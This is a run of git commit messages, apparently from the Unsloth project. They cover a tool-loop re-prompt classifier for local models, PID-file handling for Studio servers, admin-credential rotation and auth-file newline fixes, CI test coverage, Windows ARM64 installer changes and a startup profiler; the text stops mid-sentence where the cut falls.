* don't re-prompt finished answers in the tool loop
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* keep a separate post-tool reprompt budget and tighten the intent regexes
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Reset the repeat guard after a tool runs and suppress 'I should call ...' forced stalls
* Cover 'must' in forced-retry suppression, keep appended answers, and count RAG autoinject as a prior tool run
* Anchor obligation suppression to sentence starts and wire the repeat guard into the safetensors loop
* Keep deletions out of restatement and nudge pronoun-free first-step plans
* Tighten repeat similarity, anchor subjectless plans, and restore first-step plan forms
* Keep first-person plan framing and punctuation-bearing terms out of repeat detection
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep leading term punctuation, accept colon-delimited first steps, and drop invoke/query from suppression
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten comments on the plan-without-action re-prompt guards
* Compare plans by token sequence, suppress subjectless modals, and accept dash-delimited first steps
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: narrow the first-step plan match and make repeat detection content-based
Restrict the bare "First, <word>" intent alternative to a pronoun, an explicit
plan, or an investigative verb, so ordinal prose ("First place went to Alice")
and user-facing advice ("First, install the package") no longer count as a plan
without action.
Keep punctuation-only tokens in the repeat comparison, so "the value is 5" and
"the value is < 5" stay distinct, and compare content-word sequences instead of
a similarity ratio: any ratio is length-dependent, so one corrected token in a
54-token plan still scored 0.98 and cost the model its remaining nudge.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: tighten comments in the plan-without-action re-prompt path
* studio: keep a forced retry that pivots from a plan to an answer
The obligation-plan branch discarded the whole turn, so a retry such as
"I should call web_search, but the answer is Tokyo." reached the user as
nothing at all. Suppress the plan only when nothing follows it: a pivot
after the match keeps the output, and _FINAL_ANSWER_SIGNAL now recognises
"the answer is" and "to summarise" alongside "answer:".
Leaking a plan sentence is cosmetic, dropping an answer is not, so the
doubtful case now resolves towards shipping the turn.
* studio: keep articles in repeat comparison and exclude missing-answer phrasing
Articles are not filler: dropping them made "search for The Who" and
"search for Who" compare equal, so a corrected target ended the nudge.
_FINAL_ANSWER_SIGNAL matched "the answer is not in the provided context",
which announces a missing answer, so the plan behind it shipped as the final
response instead of being suppressed. Negated forms are now excluded.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: tighten the pivot and final-answer signals, drop filler-insensitive repeats
The purpose clause in "call web_search to summarize the results" matched the
final-answer signal, so the plan shipped instead of being suppressed; that
alternative is gone. A pivot word now has to carry text of its own, since
"I should call web_search, though." answers nothing.
Repeat detection no longer ignores filler words. No word is reliably filler:
dropping them to absorb rewording also absorbed the target ("OK Go" became
"Go"). A missed repeat costs one nudge out of the cap; a false one strands the
plan unexecuted.
* studio: exempt offers of help, and add a measured accuracy floor
Offering to help hands control back exactly like the existing "let me know"
exemption. On a corpus of real model turns, "I'll do my best to help" and
"allow me to assist" close a clarification request and never precede a tool
call, but they were read as intent and re-prompted. "help you" keeps its plan
reading when an action verb follows it.
The new test scores the classifier against 300 turns captured from three local
GGUF models, each one a finished answer: the turn called no tool, and three
regenerations behind the production nudge produced no tool call either. Over
those turns, wasted nudges go from 36 (12.0%) on main to 5 (1.7%), and retries
whose text would be discarded from 60 (20.2%) to 1 (0.3%).
Until now these patterns were tuned on hand-written example sentences, which
cannot show how often the classifier is right on real output.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* Add test to guard against duplicate keys in __INT_TO_FLOAT_MAPPER
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Refactor docstring in __INT_TO_FLOAT_MAPPER
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Name the encoding when reading mapper.py
tests/test_source_read_encoding.py requires every test that reads a
checked-in file to pass an explicit encoding, because open() with no
encoding uses the locale encoding, which is cp1252 on a stock Windows
install. Without this the new test fails that guard in the auto
discovered "Repo tests (CPU)" job.
Matches tests/test_gemma_2b_mapper_key.py, which reads the same file,
and adds the SPDX header new files in tests/ carry.
* Check nested precision dicts in the duplicate key guard
The registry nests a per-precision dict ("16" / "8") under 26 entries and
mapper.py reads those keys directly, so a duplicate there overwrites the
earlier mapping exactly like a top level duplicate. The guard only looked at
the top level keys. Walk every dict literal in the registry, count keys per
dict so "16" and "8" repeating across sibling entries stay legal, and report
the offending line numbers so a failure points straight at the entry.
* Tighten comments in the mapper duplicate key guard
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Since #7573 reset-password rotates the credential in place and prints the new
passphrase to stdout, so these four steps were writing it unmasked into the job
log and no longer produced the clean auth state their name implies. They never
read .bootstrap_password (serve-unsloth-run.sh only parses the sk-unsloth key
off the banner), so the wipe the other ten studio-* workflows already use is the
right shape here too.
* Stop every running Unsloth server, and refuse to start a second on a taken port
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Check the fallback range, guard PID reuse, and keep writing studio.pid
* Signal each server once when its PID is recorded in more than one file
* Confirm a recorded PID is a Studio server before signalling it
* Pin PID records to process start time and check every listener on a port
* Keep every recorded start time per PID and accept in-process Studio servers
* Match the blocking listener address and stop trusting unverifiable PID records
* Never delete a PID record that cannot be verified
* Detect our own server from our own records instead of a psutil listener scan
* Match a pre-upgrade studio.pid to the blocked port before falling back
* Never signal PID 0 or 1, and verify a per-port record before trusting it
* Stop unverifiable records instead of skipping them, and record every bind address
* Drop the command-line guess, fix Windows liveness, and free the PID record last
* Studio: harden the per-port PID records against the cases that lose a server
Follow-up on the per-port PID files. Each item below is a case where the new
code either lost a server the old code could still stop, or stopped something
that was not ours. All were reproduced against real Studio servers.
studio/backend/run.py
- Write the per-port record and the legacy studio.pid independently. They shared
one try, so a studio root that could not take a new directory entry left the
server recorded nowhere at all and unstoppable from the CLI; the old code
still recorded it in studio.pid, which is an overwrite of an existing path and
can still succeed. _remove_pid_file now also checks studio.pid when the
per-port write failed.
- Write the record through a temp file and os.replace. `stop` reads these
concurrently and treats a truncated read as a corrupt record.
- A failed Windows tasklist probe now means "alive", matching the CLI. Treating
it as dead pruned a live server's record and let the next launch fall back
past it, which is the orphan this work exists to fix.
- Guard the unlink in _own_studio_on_port. Pruning is a courtesy and must not
abort startup.
- Extract _resolve_port so the requested-port abort is reachable from a test.
Deleting that abort previously left the whole suite green.
- Keep the plain fallback for api-only callers. The desktop app hardcodes 8888
and documents its reliance on the 8888-8908 range, and it reports a non-zero
backend exit to the user as "Server stopped unexpectedly". It reads the bound
port back from TAURI_PORT, as `studio run` does from app.state.server_port, so
a fallback there is harmless and both servers are still recorded and
stoppable. The interactive path prints the requested port, so it still aborts.
- isdigit() is not enough to gate int(): a superscript two passes it and the
ValueError escaped into every caller of _read_pid_record.
unsloth_cli/commands/studio.py
- An untimed record no longer cancels a timed one for the same PID. Every
current server writes both a timed per-port record and an untimed studio.pid,
so the start-time check was inert exactly where it mattered, and after a crash
plus a PID reuse `stop` sent SIGTERM to whatever unrelated process had
inherited the PID.
- Distinguish an unreadable record from an invalid one. A root-owned record, or
one caught mid-write, still belongs to a live server, and deleting it stranded
that server.
- Route every PID-file removal through _unlink_quietly. One undeletable record
raised PermissionError and left the remaining live servers running.
- Same isdigit()/int() guard as the backend.
Tests
- The requested-port abort, the recorded bind address, and the api-only
fallback are now covered; all three previously survived deletion.
- tests/studio/test_studio_pid_file_contract.py pins run.py's filename scheme to
the CLI's glob and keeps studio.pid parseable by an older CLI. It lives under
tests/studio because unsloth_cli/tests is not run by any workflow.
- test_cli_studio_stop_windows.py now checks _signal_stop as well as stop. The
kill moved into _signal_stop, so the os.kill(pid, 0) guard passed vacuously.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: let a caller that follows the port keep the fallback, and never take studio.pid from a live server
Two problems with keying the own-server abort on api_only.
`unsloth studio run` is not the bare-banner path: it stores `app = run_server(...)`
and reads `app.state.server_port` back, then uses it for the health wait, the
model load and the printed base URL. Gating on api_only aborted it, so starting
a second model while the first was up stopped working, where before it landed on
the next port and printed the right URL. Replace the proxy with an explicit
abort_if_own_studio, defaulting to the old api_only behaviour so the exec'd
`run.py` path is unchanged, and have `studio run` opt out.
The api_only exemption also reopened the orphan from the other side.
_write_pid_file overwrote studio.pid unconditionally, and a pre-upgrade server
is recorded there and nowhere else, so an exempt launch falling back past one
erased its only record. Take the file over only when it is free, already ours,
or held by a dead PID.
Also resync _pid_is_studio_backend with the CLI copy: an untimed record next to
a timed one carried no information but cancelled the start-time check, which is
what let a reused PID be treated as ours.
Tests: 51 backend, 26 CLI, 9 under tests/studio. Real Studio servers still abort
the bare same-port relaunch, still fall back past a foreign listener, and one
`unsloth studio stop` still stops every server in all five scenarios.
* Studio: hand over the legacy PID pointer, and fail stop on unreadable records
Two follow-ups from review of the previous commit.
Only one backend owns studio.pid at a time. When that server exited it
deleted the file, so an older CLI, which reads nothing else, could no
longer stop a sibling that was still serving. _remove_pid_file now hands
the pointer to a live sibling instead of dropping it.
_pid_file_entries skipped records it could not read, for instance one
written by a server started under sudo. When that was the only record,
stop printed "No running Unsloth server found" and exited 0 while the
server kept serving. Unreadable records are now reported and make stop
exit 1, so a partial stop is never mistaken for a complete one.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <unslothai@gmail.com>
The pill drew a 12px lucide chevron inside a wrapper span while every
other composer pill uses the shared 15px caret, so its arrow read
smaller than the one on the permission pill next to it.
Co-authored-by: Unsloth <michaelhan@Michaels-MacBook-Pro.local>
* reset-password: rotate the admin credential in place instead of deleting auth.db
* reset-password: fix the CI callers and error handling for the in-place rotation
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* reset-password: narrow the CI change to the jobs that read .bootstrap_password
* reset-password: stop over-claiming what the reset revokes and when it takes effect
* auth: bind token issuance to the credential version that was verified
* auth: bind credential-creating writes to the version the request authenticated with
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* auth: bind the change-password and workflow-key writes to their own credential version
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* auth: read the credential version inside the transaction that validated it
* data-recipe: answer 401 when a reset revokes the credential mid job start
* Fix lint blocker and Windows path assertion for PR #7573
Drop the now-unused validate_api_key import from studio/backend/auth/authentication.py.
Every call site moved to validate_api_key_with_credential, so the Source lint job's
import-hoist gate flagged it as a blocker. The wrapper itself stays in storage.py;
test_api_key_expiry.py still exercises it.
Make test_run_reexec_forwards_resolved_frontend_on_public_launch compare against
str(Path(...)) instead of a POSIX literal. _find_frontend_dist returns a Path, so on
Windows the forwarded value is \fake\studio\frontend\dist and the assertion could
never pass there. Pre-existing, surfaced by running unsloth_cli/tests on Windows.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* Make the unsloth_cli studio tests pass in isolation
Six tests in test_studio_run_parallel_flag.py and one in
test_studio_secure_flag.py only passed in a full-directory run. All of them
reach the in-venv branch of run(), which does `from state.tool_policy import
set_tool_policy`. That module lives under studio/backend, so it only imports
once something has put that directory on sys.path, and nothing in either file
does. They were relying on test_start.py, which calls
ensure_studio_backend_path() and leaks the sys.path entry, or on
test_studio_cloudflare_flag.py, which stubs the module.
Add a stub_tool_policy_state fixture in a new conftest and use it in the seven,
so the state comes from the test rather than from whatever ran first.
Every file in unsloth_cli/tests now passes on its own, and the suite is stable
across four pytest-randomly seeds.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
unsloth_cli/tests had no CI at all. unsloth_cli/** was a paths trigger and a
ruff target, so the Backend CI job already fired on CLI changes but never ran
these 673 tests, which cover the studio launcher, the pre-exposure gate and the
auth secret writers. Four had been failing on main unnoticed.
Two were stale rather than broken code:
- test_studio_default_exposes_parallel_option pinned the plain --parallel
default to 1, but #7455 deliberately moved _PARALLEL_DEFAULT_PLAIN to 4 so a
new chat does not queue behind the previous one. Assert against the constant
so the two cannot drift again.
- test_reexec_forwards_api_only expected --secure --api-only to re-exec. The
pre-exposure gate now refuses that combination, because api-only serves no
login page and the bootstrap deadline does not apply, so a seeded password
could never be changed. Drop the case and assert the refusal instead.
Two only passed when a built frontend dist happened to be present, which it is
not in a fresh clone or on a runner. Both reach a public-launch path where the
missing-dist gate exits first, so they never got to the backend check and the
run_server call they are about. Stub _find_frontend_dist the way their siblings
already do.
Own step rather than folding into the tests/ discovery: pyproject's testpaths is
tests/, and this suite needs no PYTHONPATH or CUDA spoof, importing neither
unsloth nor torch. Its deps are already installed by the job (pydantic and
uvicorn, which brings click, via studio.txt; pyyaml explicitly).
#7549 taught Test-VCRedistInstalled to consult the host architecture before
trusting the System32 DLL, but the round-trip job dot-sources a fixed list of
functions out of setup.ps1 and that list did not gain the helper. Part A returns
early on the registry hit, so only the clean-box half reaches the call and the
job fails there with "Get-HostMachineArch is not recognized".
Reproduced by dot-sourcing the old list and calling Test-VCRedistInstalled, which
throws; with the helper added the same call returns.
* Write auth secret files with a trailing newline
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Pin LF in the auth secret writers and migrate legacy files
Both writers used text mode, so on Windows the trailing newline became CRLF.
The Windows Studio smoke jobs run under bash and read the file with
OLD=$(cat ...), which strips the LF but leaves the CR attached, so the
credential goes into the login body as "<secret>\r" and the request fails.
Write bytes in the backend and pin newline in the CLI so the file is
"<secret>\n" on every platform. generate_bootstrap_password() also returned
early on an existing file, so upgraded installs kept the original problem;
it now rewrites anything that isn't already exactly "<secret>\n",
best-effort so a read-only auth dir cannot fail startup.
The raw test assertions used read_text(), which decodes CRLF back to "\n"
and would have stayed green on Windows. They read bytes now.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Run the newline migration on the path upgrades actually take
ensure_default_admin() short-circuits to _load_bootstrap_password() once the
admin row exists, so the normalisation added in the previous commit sat on
generate_bootstrap_password(), which only fresh installs reach. An upgraded
install kept its newline-less file. Both readers now share
_read_persisted_bootstrap_password().
Make the write atomic while it is here: it can now rewrite a live file, and a
partial write would destroy the only plaintext copy of the recovery
credential. Same mkstemp plus os.replace shape the CLI writer already uses.
Tests cover the upgrade path through ensure_default_admin(), a well-formed
file not being rewritten on every start, a failing migration not blocking
startup, and the atomic replace.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Normalise the bootstrap file in place so a cleared credential stays cleared
The rename-based rewrite could recreate the file: if a password change ran
clear_bootstrap_password(), or the CLI cleanup deleted it, between the read and
the write, os.replace put the revoked plaintext back on disk, where a later
auth.db reset would re-seed it.
Open the existing file without O_CREAT instead, so a deleted file cannot be
resurrected, and re-check the contents through that descriptor so an in-place
truncation or a rotated credential is not overwritten either.
That gives up the atomic rename, so the in-place path is restricted to
trailing-whitespace fixes. Every partial state is then the secret plus leftover
whitespace, which still strips to the same credential. Files with leading
whitespace are left alone; every reader strips, so they keep working.
Creation still goes through the atomic writer.
* Open the bootstrap file in binary mode and finish the write
Three defects in the in-place normalisation, all on the Windows upgrade path.
os.open does not add O_BINARY on Windows and CPython never changes the CRT
default of _O_TEXT, so the descriptor was in text mode: os.write turned the LF
straight back into CRLF and ftruncate then cut the LF off, leaving
"<secret>\r". That is the bug this PR exists to fix, reintroduced by the
migration itself, and it is a fixed point that never converges. os.read
translates in reverse too, so a genuinely CRLF file failed verification and was
silently skipped.
os.write may return having written fewer bytes than asked; ftruncate would then
NUL-extend the credential so it no longer matched the hash in auth.db.
os.fchmod only reached Windows in 3.13 and AttributeError is not OSError, so on
3.9 to 3.12 it escaped both handlers and aborted the first start after upgrade.
* Make the bootstrap normalisation append-only
clear_bootstrap_password() falls back to truncating the file through its own
descriptor when the unlink fails, which is what happens on Windows while this
one is open. That truncation could land after the equality check and before the
write, so the rewrite put the revoked plaintext back.
Append a single LF instead, and only to a file that is exactly the credential.
An append cannot restore a revoked secret: over a cleared file the result is a
lone newline, which strips to empty and reads back as no bootstrap password.
Releases before the newline wrote the password with no terminator at all, so
that is the only shape in the wild; anything else is left alone and keeps
working because every reader strips.
Never truncating also removes the short-write NUL-fill hazard entirely, so the
write loop is gone. O_BINARY stays: without it Windows would turn the appended
LF into CRLF.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix a typo in a bootstrap normalisation test name
* Tighten the bootstrap newline comments
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
The chat run settings panel was fixed at 17rem. It now uses the same drag
handle as the sidebar, on its left edge, between 248px and 560px and capped
at 40% of the window. The width persists and syncs across tabs.
Reuses PanelResizeHandle and createPanelWidthStore, so behaviour matches the
sidebar exactly. The panel width key joins the preference reset list.
The system prompt overflow check now runs off a ResizeObserver attached
through a callback ref. A drag changes the width through a custom property
without re-rendering, and the collapsible section unmounts the textarea, so
a stored observer would miss both.
* Windows: unblock the consumer install on clean and no-winget machines
Four independent things stop a clean Windows box today.
git was a hard Exit-SetupFailure in setup.ps1, justified as required by pip for
git+https:// deps and by npm. Neither holds on the consumer path: the unsloth-zoo
git+https URL is only used under STUDIO_LOCAL_INSTALL, node is a pinned
nodejs.org prebuilt that never touches system npm, and the frontend lockfile has
no VCS dependencies. It stays fatal for --local, where it really is needed.
Ensure-VCRedist was winget-only, so on hosts without winget (LTSC, Server,
managed corporate images) it silently did nothing while the install reported
success, and torch then failed to import on a missing VCRUNTIME140.dll. Adds a
direct aka.ms/vs/17/release/vc_redist.<arch>.exe download with /quiet /norestart,
accepting exit codes 0 and 3010. The redistributable stays required: it is the
runtime the prebuilt llama-server and torch link against, not the MSVC compiler,
which is already detection-only.
Windows on ARM has no PyTorch at all. Measured with uv against
download.pytorch.org/whl/cpu and PyPI for aarch64-pc-windows-msvc / cp313: torch,
torchvision and torchaudio all resolve to nothing, wheels exist only for
win_amd64 and the manylinux targets. The installer burned three uv retries on an
unsatisfiable resolution and reported a bare 'Failed to install PyTorch (exit
code 1)'. Now it says what is actually wrong and points at --no-torch, which
works because llama.cpp does publish windows-arm64-cpu.
install_node_prebuilt.py hit '[WinError 5] Access is denied' on os.replace of the
freshly extracted directory during a FRESH install, which is a scanner or indexer
holding handles for a moment. Retries only winerror 5, 32 and 145 with capped
exponential backoff; any other OSError still raises immediately.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Give the ARM64 dead end a recovery that works for web installs
The only remedy printed was .\install.ps1 --no-torch, but the documented path is
irm | iex, where no file exists and flags cannot be forwarded. Name the env var
the script already honours at line 145.
* Windows on ARM: drop torchaudio, do not abort the install
The fail-fast was based on a wrong premise. Counted against
download.pytorch.org/whl/cpu: torch has 42 win_arm64 wheels and torchvision 60;
only torchaudio has none. PyTorch has shipped Arm-native Windows builds since
April 2025, so aborting blocked a platform that mostly works. Drop the one
unsatisfiable pin instead.
Decide from the interpreter uv will resolve for, not the PowerShell host: an x64
CPython under emulation gets working win_amd64 wheels on an ARM64 box, and
powershell.exe inherits PROCESSOR_ARCHITECTURE from its parent.
* Carry the ARM64 torchaudio omission into studio setup
Dropping it from the first PyTorch command was not enough: install.ps1 then runs
studio setup with SKIP_STUDIO_BASE=1 and setup.ps1 reinstalls the bare trio from
the CPU index, so the ARM64 path still aborted. Apply the same interpreter-based
test there. An unreadable platform keeps the full trio.
* Build the torch spec list outside the verbose branch
The ARM64 guard landed inside `if ($script:UnslothVerbose)`, so on the default
path $_torchTrio was never assigned and the splat expanded to nothing: uv ran as
`uv pip install --index-url ...` with no package, exit 2, straight to
Exit-SetupFailure. That broke the ordinary Windows install. Hoist it above the
branch and use substep, which prints on both paths.
Realign the two parity guards to the splat form; they asserted the pre-refactor
literal command and were the actual cause of the red parity legs. Both halves
are still checked: the bounded list is built, and it reaches the install.
* Tighten the comments on the Windows install path
* Windows install: honour the ARM64 torchaudio skip everywhere and keep git for source builds
Hoist the venv-interpreter platform probe above every torch branch in
studio/setup.ps1 so the win_arm64 torchaudio omission applies to the ROCm,
CPU and CUDA/custom paths. A pinned index whose leaf is not cpu routed an
ARM64 host into the CUDA/custom branch, which still asked for torchaudio.
Require git again when a llama.cpp source build is opted into up front
(UNSLOTH_LLAMA_FORCE_COMPILE, UNSLOTH_LLAMA_PR / PR_FORCE, a non-upstream
source). Those paths git clone in phase 4, so setup used to report git as
not required, install the build toolchain, then fail at the clone. A local
llama.cpp dir overrides them, and the automatic source fallback after a
failed prebuilt download stays non-fatal.
Also tighten the comments across the changed install paths.
* Install the x64 VC++ runtime unconditionally in the direct-download fallback
The winget branch always installs Microsoft.VCRedist.2015+.x64, but the
direct-download fallback picked the package from PROCESSOR_ARCHITECTURE, which
reports the architecture of the running PowerShell process rather than the
interpreter that will load the DLLs. Find-CompatiblePython in install.ps1
selects an interpreter on version and non-Conda status alone, with no
architecture predicate, so a native ARM64 shell can settle on an emulated x64
Python whose win_amd64 torch and prebuilt llama-server need the x64 runtime,
while the fallback had just installed the ARM64-only package. Ensure-VCRedist
also runs well before the venv exists, so the interpreter cannot be probed at
that point. Microsoft ships the x64 redistributable as an Arm64X superset that
carries both ARM64 and x64 binaries, so it is correct on both machines and the
manual instruction printed on failure already pointed at it.
* Windows on ARM: prefer an x64 Python interpreter
An ARM64 host cannot complete the install with a native ARM64 interpreter.
pyarrow, pulled in by unsloth -> datasets, has never published a win_arm64
wheel on any version, and neither has hf-transfer, a direct dependency.
Both therefore fall back to a source build: pyarrow dies in scikit-build-core
CMake configuration and hf-transfer dies in openssl-sys for want of perl,
several minutes into a run that looked healthy. torch and torchvision are
not the problem, they have win_arm64 wheels and install fine.
Windows 11 on ARM runs x64 binaries under emulation and both packages ship
win_amd64 wheels, so an x64 interpreter installs cleanly.
Find-CompatiblePython accepted an interpreter on version and non-Conda
status alone. It now ranks candidates by architecture on ARM64 hosts and
returns an x64 one when present, asking each interpreter for its own
sysconfig.get_platform() rather than guessing from its path. Host
architecture comes from PROCESSOR_ARCHITEW6432 and OSArchitecture as well
as PROCESSOR_ARCHITECTURE, which describes only the current process and
reads AMD64 in an emulated shell.
This is a preference, not a requirement. If only ARM64 is found, x64 is
bootstrapped through winget --architecture x64 or the python.org fallback,
and if neither works the installer names pyarrow and hf-transfer up front
instead of failing later on a CMake or Rust error. The ARM64 torchaudio
skip stays live for that path.
Non-ARM hosts return on the first match exactly as before, with no extra
interpreter probing.
* Windows install: three correctness fixes on the ARM64 and git-less paths
Ensure-VCRedist never reached its x64 download on an ARM64 machine that already
had the arm64 redistributable: Test-VCRedistInstalled accepted System32\vcruntime140_1.dll
regardless of architecture, and there that file can be the pure-ARM64 package. An
ARM64 PE cannot load into an emulated x64 process, so the x64 Python this branch now
prefers would have been left without a usable runtime. The x64 registry entry is the
only x64-specific proof, and Microsoft registers Runtimes\{x86|x64|arm64} per
architecture, so vc_redist.x64.exe still writes Runtimes\x64 on an ARM64 host and the
check cannot loop. The DLL probe stays for x64 hosts.
Phase 1 demanded git for any non-blank UNSLOTH_LLAMA_PR_FORCE, but the promotion that
actually turns it into a source build requires a positive integer, so PR_FORCE=0 or a
non-numeric value aborted a git-less consumer install for a build that never runs. Both
sites now use the same predicate.
The automatic fallback after a failed prebuilt llama.cpp download reached git clone with
no git check anywhere in between, and Invoke-SetupCommand returns 0 for a command-not-found,
so a git-less host did not stop there: it continued into an empty directory and reported a
cmake configure failure instead. Git is now resolved where the source build is decided,
with a last winget attempt, and a missing git degrades exactly like a missing cmake rather
than aborting, since the opt-in source triggers already required git in Phase 1.
Also tightened the comments across the changed Windows install code, keeping the reasons
on the guards that prevent a specific failure.
* Rank ARM64 Python candidates by minor version before architecture
The x64 preference filtered the whole candidate list on architecture, which
outranks the version preference the candidates were collected in. With
UNSLOTH_PYTHON=3.12 on a Windows ARM64 box holding an ARM64 3.12 and an x64
3.13, it returned the x64 3.13: the explicit pin was silently broken, and
because a x64 interpreter was found the caller never ran Install-X64Python
to fetch an x64 3.12. With no pin it was worse still, since an x64 3.11
outranked a newer ARM64 3.13 and defeated the newest-first fallback.
Walk $minors in order and take the x64 build of the best minor available,
falling back to that minor's ARM64 build so the caller bootstraps x64 for
the version actually requested. x64 still wins within a minor, and non-ARM
hosts are untouched.
* Windows install: see every registered Python, order git before the toolchain
Find-CompatiblePython only ever probed `py -3.X`, which runs the launcher's
preferred build for that minor. On an ARM64 box that is the native ARM64
interpreter, so a same-minor x64 install that is registered with the launcher
but neither preferred nor on PATH never became a candidate. The x64 preference
then lost to ARM64, and Install-X64Python re-downloaded an x64 CPython that was
already on the machine; when that download is unavailable the install continues
on ARM64 and source-builds pyarrow and hf-transfer, which publish no win_arm64
wheels. Enumerate `py -0p` on ARM64 hosts and probe each listed path. The
`-3.12-64` suffix cannot be used for this: it has meant "not 32-bit" since 3.11
and does not distinguish arm64 from amd64.
studio/setup.ps1 ran Ensure-BuildToolsForLlamaSourceBuild before checking git in
Phase 4. That helper calls Exit-SetupFailure when Visual Studio Build Tools
cannot be installed, so on a clean no-winget box the git degraded path added by
this PR was unreachable and a standalone update aborted instead of finishing in
limited mode; where winget does exist it spent a multi-GB Build Tools download on
a clone that could never run. Check and install git first, skip the toolchain
helper when git is still missing, and report the git branch before the cmake
branch so the message names the real cause.
_swap_into_place retried the forward rename for about 16 seconds but rolled back
with a bare os.replace. A scanner holding the backup for the same WinError 5/32
then left no install_dir at all and stranded the working runtime in .old-*, and
its exception replaced the original failure. The rollback now uses the same
backoff and logs instead of masking the error it is recovering from.
* Installer: use an already installed x64 Python on ARM64 when none can be downloaded
Find-CompatiblePython ranks x64 within one minor and returns the native build
when that minor is ARM64-only, leaving Install-X64Python to bootstrap x64. On an
offline or winget-less box that bootstrap fails, and the retry went through the
same resolver, so an x64 build of a lower-priority supported minor already on the
machine was never picked up and setup continued on ARM64 Python, where pyarrow
and hf-transfer have no wheels.
Add an -X64Only mode that returns the best installed x64 interpreter or nothing,
and call it as the last resort in Install-X64Python. The version-first preference
is unchanged: x64 of the requested minor is still bootstrapped first.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten comments in the Windows ARM64 installer changes
* Setup: require Git for a source build behind an unbuilt local llama.cpp dir
UNSLOTH_LOCAL_LLAMA_CPP_DIR only overrides the source-build opt-ins once the
directory holds a reusable llama-server.exe. Pointing it at the canonical
install location with nothing built there falls through to the normal install,
so the Phase 1 gate now probes the same layout candidates as the Phase 4 reuse
check before dropping the requirement.
* Setup: require Git when UNSLOTH_LLAMA_TAG=master forces a source build
* Tighten comments in the Windows installer changes
* Setup: negotiate TLS 1.2 for the direct VC++ runtime download
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
* Measure where Studio's startup time actually goes
Nothing measured this. studio/backend/main.py logs 'lifespan startup completed in
X ms' but no test or CI job ever asserted a budget, a repo-wide grep for
startup_ms or time_to_ready matches only that one file, and studio_test_kit polls
/healthz in a loop that discards the elapsed time it already computes. Its
default healthz_timeout_s of 180 was the only recorded expectation.
scripts/profile_startup.py breaks a launch into phases: import cost via
python -X importtime in a subprocess (top cumulative contributors), process spawn
to first output, and spawn to /healthz 200, over N repeats with median and p90.
First numbers on Linux: importing the backend module costs 5.7 to 6.6 seconds
before the server can even bind, and it dominates everything else. That is eager
module-level imports pulled in by the routes package, not the hardware detection
I first suspected: utils.hardware is 23ms and does not pull torch.
--max-healthz-seconds exists so a budget can be enforced once per-platform
numbers are agreed. It is not wired into a gate yet, deliberately: a threshold
picked before the data is in would either be meaningless or flaky.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Profile the code under test, and let the profile fail
Both installer calls omitted --local, so every phase measured the published PyPI
backend and could not move when a PR edits main.py, run.py or routes. t_first_byte
was a dead local, advertised in the docstring but never returned, and the reader
could deadlock once the child filled the pipe. A failed launch and an impossible
budget both produced a warning and exit 0, and the importtime parse reported the
largest cumulative row, which is site, not main, so a raising import published a
number as success. Pin the controller to the profiled venv's interpreter.
* Stop the startup summary hiding failed launches
The aggregates cover only the runs that reached healthz, so two dead launches
and one fast one rendered as a normal fast startup, and an all-failed phase
printed nothing at all. With continue-on-error and no budget wired, that summary
is the only thing anyone sees. Say how many launches the number is made of, and
say so explicitly when none came up.
* Reject --repeats below 1
range(0) launches nothing, so the empty runs list reached the budget check as
"no healthz measurement", warned and exited 0: a gate that cannot fail. The
value comes straight from a dispatch input, so reject it loudly instead.
* Run the startup profile when the imported startup tree changes
The path filter listed main.py, run.py and routes/**, but the graph the
profiler measures is far wider: main.py imports auth, core, hub, loggers,
